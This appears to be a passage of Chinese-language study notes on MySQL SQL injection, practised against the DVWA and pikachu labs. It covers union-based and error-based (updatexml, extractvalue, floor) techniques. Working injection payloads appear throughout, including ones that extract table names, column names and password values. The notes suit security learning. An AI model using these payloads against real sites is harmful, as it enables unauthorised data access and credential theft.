基于union的信息获取
union联合查询:可以通过联合查询来查询指定的数据
用法举例:
select username,passsword from user where id =1 union select 字段1,字段2 from 表名
联合查询的字段数需要和主查询一致!
可在主查询中使用 order by 数字;猜测字段数
select version();//取得数据库版本
select database();//取得当前的数据库
select user();//取得当前登录的用户
通过利用内置函数,获取操作系统信息:
union select @@global.version_compile_os from mysql.user;
测试连接数据库权限 1' and ord(mid(user(),1,1))=114 -- 正常说明是root权限;
information_schema
在MySQL中,自带information_schema这个表里面存放了大量的重要信息。具体如下:
如果存在注入点的话,可以直接尝试对该数据库进行访问,从而获取更多的信息。
比如:
schemata表:提供了当前MySQL实例中所有数据库的信息。是show databases的结果取之此表。
tables表:提供了关于数据库中的表的信息(包括试图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。是show tables from schemaname的结果取之此表。
columns表:提供了表中的列信息。详细表述了某张表的所有列以及每个列的信息。是show columns from schemaneme.tablename的结果取之此表。
查询mysql数据库,所有数据库名字:
这里利用mysql默认的虚拟数据库infromation_scehma,该数据库存储了Mysql所有数据库和表以及字段的信息
1' and 1=2 union select 1,schema_name from information_schema.schemata --
爆出所有的数据库
在information_schema这个虚拟库里面有一张表是SCHEMATA 这张表里面这个字段 SCHEMA_NAME
里面存放当前所以数据库的名称
注入查询:
1' and 1=2 union select 1,schema_name from information_schema.schemata --
爆出所有的表名
在information_schema这个虚拟库里面有一张表是TABLES 这张表里面有 数据库名 table_schema 和表名 table_name 这两个字段
里面存放当前数据库中所有表的名称
注入查询:
1' and 1=2 union select table_schema,table_name from information_schema.tables --
直接爆出表名和表名里面的字段,再根据自己的注入是哪个表名来确认
爆出所有的字段
在information_schema这个虚拟库里面有一张表是COLUMNS 这张表里面 数据库名 table_schema 和表名 table_name 还有字段名column_name 这三个字段
此测试是dvwa上面的只有2个列所以查询只能是select 1,2 不能select 1,2,3...
1' and 1=2 union select table_schema,table_name from information_schema.columns --
1' and 1=2 union select column_name,table_name from information_schema.columns --
1' and 1=2 union select column_name from information_schema.columns where
table_name='users' and table_schema='dvwa' -- (perfect)
MYSQL 这个数据库存下的user表下的,host,user,password 字段存放了数据库的所有主机地址、帐号和密码
常用的函数
1:system_user() 系统用户名
2:user() 用户名
3:current_user 当前用户名
4:session_user()连接数据库的用户名
5:database() 数据库名
6:version() MYSQL数据库版本
7:load_file() 转成16进制或者是10进制 MYSQL读取本地文件的函数
8:@@datadir 读取数据库路径
9:@@basedir MYSQL 安装路径
10:@@version_compile_os 操作系统
database(),user(),version(), concat(), group_concat(),hex(),unhex() Load_file()
Unhex(hex(user()) into outfile
基于函数报错的信息获取
技巧思路:
在MySQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息。
select/insert/update/delete都可以使用报错来获取信息。
背景条件:
后台没有屏蔽数据库报错信息,在语法发送错误时会输出在前端。
三个常用的用来报错的函数:
updatexml():函数是MySQL对XML文档数据进行查询和修改的xpath函数。
extractvalue():函数也是MySQL对XML文档数据进行查询的xpath函数。
floor():MySQL中用来取整的函数。
updatexml()
updatexml()函数作用:改变(查找并替换)XML文档中符合条件的节点的值。
语法:UPDATEXML(xml_document,XPathstring,new_value)
第一个参数:fiedname是String格式,为表中的字段名。
第二个参数:XPathstring(XPath格式的字符串)。
第三个参数:new_value,String格式,替换查找到的符合条件的
Xpath定位必须是有效的,否则会发生错误
insert注入(注册信息使用函数)
insert 注入,就是前端注册的信息最终会被后台通过 insert 这个操作插入数据库,后台在接受前端的注册数据时没有做防 SQL 注入的处理,导致前端的输入可以直接拼接 SQL到后端的 insert 相关内容中,导致了 insert 注入。 在注册页面填写注册信息的时候抓包并寻找注入点输入payload例如用户名等 基本格式 oldboy'or updatexml(1,concat(0x7e,(命令)),0) or' or的作用是将后文变成一条语句 实战
-
爆表名
oldboy'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
-
爆列名
' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
-
爆内容
' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or' 等同 ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''
update注入(用于用户登陆端修改用户信息)
一般登录网站前台或后台更新用户信息的地方,填写用户需要修改相关信息,通过 Burp 抓包在用户名输入相关 payload
' or updatexml(0,concat(0x7e,(database())),0) or'
delet注入(删除相关)
一般应用于前后端发贴、留言、用户等相关删除操作,点击删除按钮时可通过 Brup Suite 抓包,对数据包相关 delete 参数进行注入,注入方法如下:
delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)
extractvalue()
核心原理是一样的,也是对 XML
extractvalue()函数作用:从目标 XML 中返回包含所查询值的字符串
语法:ExtractValue(xml_document, XPathstring)
第一个参数:xml_document 是 string 格式,为 XML 文档对象的名称
第二个参数: XPathstring,XPath 格式的字符串
Xpath定位必须有效,否则会发生错误。
同样在字符型漏洞中实验,构造以下 payload
' and extractvalue(1, concat(0x7e,database())) #
它跟 updatexml 使用起来效果是一样的
floor()
向下取整。如果要用 floor() 构成报错,必须满足下面的条件
-
运算中有 count
-
运算中有 group by
-
运算中有 rand
' and (select 2 from (select count(*), concat(version(), floor(rand(0) * 2))x
from information_schema.tables group by x)a)#
上面表达式执行的结果会以 “a” 作为别名,然后在 字符型注入 中提交,会得到下面的报错
我们可以把 version() 的表达式替换成别的表达式
' and (select 2 from (select count(*), concat((select password from users
where username='admin' limit 0,1), floor(rand(0) * 2))x f